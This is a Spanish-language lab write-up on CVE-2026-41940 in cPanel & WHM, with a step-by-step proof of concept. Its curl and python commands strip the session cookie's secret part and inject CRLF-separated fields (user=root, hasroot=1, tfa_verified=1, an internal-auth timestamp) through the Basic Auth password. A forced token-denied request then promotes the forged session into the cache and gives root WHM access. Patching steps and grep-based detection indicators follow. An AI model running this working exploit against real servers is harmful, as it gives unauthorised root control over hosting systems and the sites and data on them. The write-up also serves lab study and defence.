~/write-ups/writeup-3967d93542
CVE-2026-41940 (cPanel & WHM)
Imported from Notion: CVE-2026-41940 (cPanel & WHM)
La vulnerabilidad CVE-2026-41940 afecta al flujo de login/sesiones de cPanel & WHM; cPanel indica que afecta a versiones posteriores a 11.40 y publicó builds corregidas como 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.130.0.19, 11.132.0.29, 11.134.0.20, 11.136.0.5, además de WP Squared 136.1.7. (cPanel Support)
Idea general del bug
WHM crea una sesión incluso cuando haces un login fallido. Esa sesión se guarda en:
/var/cpanel/sessions/raw/
/var/cpanel/sessions/cache/
/var/cpanel/sessions/preauth/
El flujo vulnerable es este:
1. Login malo → WHM crea una sesión pre-auth.
2. La cookie trae algo como:
whostmgrsession=:ABC123,deadbeefdeadbeefdeadbeefdeadbeef
3. La parte después de la coma es el secreto "ob".
4. Si envías la misma cookie pero quitando ",ob", cPanel sigue encontrando el fichero de sesión,
pero no cifra correctamente el campo pass.
5. Como Basic Auth permite meter CRLF en el password, el campo pass puede escribir líneas nuevas:
pass=x
user=root
hasroot=1
tfa_verified=1
successful_internal_auth_with_timestamp=...
6. Al principio solo se corrompe el raw.
7. Luego hay que forzar que cPanel relea el raw y lo propague a cache.
8. Entonces WHM ve la sesión como autenticada.
watchTowr explica que el fallo combina dos cosas: el pass de Basic Auth puede conservar \r\n, y si se usa una cookie sin el segmento ,<ob>, el encoder no se activa y el valor acaba escrito sin sanear en el fichero raw de sesión. (watchTowr Labs)
Guía manual en lab
Asumo que tu WHM está en:
https://LAB-IP:2087
Cambia LAB-IP por tu host. Hazlo desde la misma máquina/IP durante todo el test, porque la sesión puede estar ligada a IP.
0. Comprobar versión
En el servidor cPanel:
/usr/local/cpanel/cpanel -V
Si ya estás en una versión parcheada, probablemente el PoC no va a funcionar. cPanel recomienda actualizar con:
/scripts/upcp --force
/usr/local/cpanel/cpanel -V
/scripts/restartsrv_cpsrvd --hard
Pero para el lab necesitas una snapshot vulnerable. (cPanel Support)
1. Crear sesión pre-auth con login fallido
Desde tu máquina atacante/lab:
TARGET="https://LAB-IP:2087"
curl -kis "$TARGET/login/?login_only=1" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "user=root&pass=wrong" \
-o step1.txt
Mira la cookie:
grep -i "Set-Cookie" step1.txt
Deberías ver algo tipo:
Set-Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_%2c4d257abc371539dfebdf7d3a3e64de0b; ...
Decodificado sería algo así:
:QSJN_sFdKZtCi2o_,4d257abc371539dfebdf7d3a3e64de0b
La parte importante:
session base: :QSJN_sFdKZtCi2o_
ob: 4d257abc371539dfebdf7d3a3e64de0b
Para el siguiente paso hay que quitar la coma y todo lo posterior. Esa es una de las claves del bug. watchTowr lo resume así: el fichero de sesión se resuelve igual, pero al no haber ob, no se codifica el pass, y el CRLF cae en el raw. (watchTowr Labs)
Puedes extraerlo así:
COOKIE=$(grep -i "Set-Cookie" step1.txt | sed -n 's/.*whostmgrsession=\([^;]*\).*/\1/p')
python3 - <<PY
from urllib.parse import unquote, quote
cookie = "$COOKIE"
decoded = unquote(cookie)
base = decoded.split(",", 1)[0]
print("decoded:", decoded)
print("base:", base)
print("base_urlencoded:", quote(base, safe=""))
PY
Guarda el base_urlencoded, por ejemplo:
BASE_COOKIE="%3AQSJN_sFdKZtCi2o_"
2. Crear el payload Basic Auth con CRLF
El payload conceptual es:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Pero con saltos reales \r\n, no saltos visuales normales.
Genera el Base64 así:
python3 - <<'PY'
import base64
payload = (
"root:x\r\n"
"successful_internal_auth_with_timestamp=9999999999\r\n"
"user=root\r\n"
"tfa_verified=1\r\n"
"hasroot=1"
)
print(base64.b64encode(payload.encode()).decode())
PY
Te sacará algo parecido a:
cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9...
Guárdalo:
AUTH_B64="PEGA_AQUI_EL_BASE64"
La razón de meter successful_internal_auth_with_timestamp es importante: cPanel vuelve a validar la contraseña contra /etc/shadow, pero si la sesión trae ese campo de auth interna/externa, la rama de validación devuelve AUTH_OK y se salta el check de password real. (watchTowr Labs)
3. Inyectar en la sesión raw
Ahora envías un request a / con:
-
cookie sin
ob; -
header
Authorization: Basic <payload>; -
mismo host/puerto.
curl -kis "$TARGET/" \
-H "Cookie: whostmgrsession=$BASE_COOKIE" \
-H "Authorization: Basic $AUTH_B64" \
-o step2.txt
Mira la respuesta:
head -n 20 step2.txt
grep -i "Location:" step2.txt
Si funciona, deberías ver un 307 con algo como:
Location: /cpsess0228251236/
Guarda ese token:
CPSESS="/cpsess0228251236"
En el servidor cPanel puedes verificar el raw:
cat -A /var/cpanel/sessions/raw/:QSJN_sFdKZtCi2o_
La señal buena sería ver líneas inyectadas tipo:
pass=x$
successful_internal_auth_with_timestamp=9999999999$
user=root$
tfa_verified=1$
hasroot=1$
En el write-up, watchTowr muestra exactamente este punto: la inyección aterriza como líneas independientes en /var/cpanel/sessions/raw/<session>. (watchTowr Labs)
4. Por qué todavía puede dar 403
Aquí está la parte que confunde a mucha gente.
Aunque el raw ya esté corrupto, WHM normalmente carga primero la cache JSON:
/var/cpanel/sessions/cache/<session>
Y en esa cache, al principio, tu payload sigue dentro del valor pass, no como claves top-level.
Por eso si haces ya:
curl -kis "$TARGET$CPSESS/json-api/version" \
-H "Cookie: whostmgrsession=$BASE_COOKIE"
puede responder:
403 Forbidden
No es que haya fallado todo. Es que falta el paso de “promocionar” raw → cache. watchTowr explica que loadSession prefiere el fichero cache JSON, y solo cae al raw en ciertos caminos. (watchTowr Labs)
5. Forzar raw → cache con token denied
Ahora hay que disparar el handler que llama a Cpanel::Session::Modify->new() y luego save(). El truco es pedir una ruta que requiere cp_security_token, pero sin mandarlo.
Haz:
curl -kis "$TARGET/scripts2/listaccts" \
-H "Cookie: whostmgrsession=$BASE_COOKIE" \
-o step3.txt
Lo normal es ver:
401 Token Denied
Ese error es bueno en este contexto. Ese camino provoca que cPanel lea el raw con nocache => 1 y luego vuelva a guardar, generando la cache ya con tus claves inyectadas como top-level. (watchTowr Labs)
En el servidor puedes mirar:
cat /var/cpanel/sessions/cache/:QSJN_sFdKZtCi2o_
Y deberías ver algo parecido a:
{
"user": "root",
"hasroot": "1",
"tfa_verified": "1",
"successful_internal_auth_with_timestamp": "9999999999",
"pass": "x"
}
6. Verificar el bypass
Ahora prueba un endpoint de WHM API:
curl -kis "$TARGET$CPSESS/json-api/version" \
-H "Cookie: whostmgrsession=$BASE_COOKIE"
Si el bypass ha aterrizado, deberías ver 200 y una respuesta con versión, por ejemplo JSON de json-api/version.
Si te devuelve 403, revisa:
- ¿Usaste la cookie sin ",ob"?
- ¿El BASE_COOKIE está URL-encoded?
- ¿El payload tiene \r\n reales?
- ¿Hiciste el paso /scripts2/listaccts?
- ¿El CPSESS lo sacaste del Location del 307?
- ¿Estás usando la misma IP cliente?
- ¿El target ya está parcheado?
- ¿El Host header coincide con el hostname esperado por cPanel?
Flujo completo resumido
[1] POST /login/?login_only=1 con pass malo
↓
Obtienes whostmgrsession=:SESSION,OB
[2] Quitas ",OB"
↓
whostmgrsession=:SESSION
[3] GET / con:
Cookie: whostmgrsession=:SESSION
Authorization: Basic base64(root:x\r\nuser=root\r\n...)
↓
Se escriben líneas inyectadas en /var/cpanel/sessions/raw/:SESSION
[4] GET /scripts2/listaccts sin cpsess token
↓
Token Denied
↓
cPanel reparsa raw y actualiza cache
[5] GET /cpsessNNNN/json-api/version
↓
Si vulnerable: 200 / acceso WHM root
Limpieza del lab
Cuando termines:
rm -f /var/cpanel/sessions/{cache,preauth,raw}/*
/scripts/restartsrv_cpsrvd --hard
Y si ese lab está conectado a algo real, parchea:
/scripts/upcp --force
/usr/local/cpanel/cpanel -V
/scripts/restartsrv_cpsrvd --hard
cPanel también recomienda, si no puedes actualizar, bloquear temporalmente puertos como 2083, 2087, 2095 y 2096, o parar cpsrvd/cpdavd; pero la solución real es actualizar. (cPanel Support)
Detección rápida de intentos
cPanel publicó un script de detección para buscar indicadores en /var/cpanel/sessions, incluyendo sesiones con token_denied + cp_security_token, sesiones pre-auth con successful_external_auth_with_timestamp, tfa_verified=1 con origen sospechoso, o valores pass multilínea. (cPanel Support)
Indicadores manuales útiles:
grep -R "successful_internal_auth_with_timestamp" /var/cpanel/sessions/raw/ /var/cpanel/sessions/cache/
grep -R "successful_external_auth_with_timestamp" /var/cpanel/sessions/raw/ /var/cpanel/sessions/cache/
grep -R "token_denied" /var/cpanel/sessions/raw/
grep -R "method=badpass" /var/cpanel/sessions/raw/
Y logs:
grep -i "Token Denied" /usr/local/cpanel/logs/access_log
grep -i "badpass" /usr/local/cpanel/logs/login_log
grep -i "json-api" /usr/local/cpanel/logs/access_log
La parte más importante para entenderlo es esta: primero corrompes el raw, luego obligas a cPanel a convertir ese raw corrupto en cache JSON válida. Sin el paso de /scripts2/listaccts, es muy normal quedarse en 403 y pensar que el PoC no funciona.
- EOF -
<< back_to_index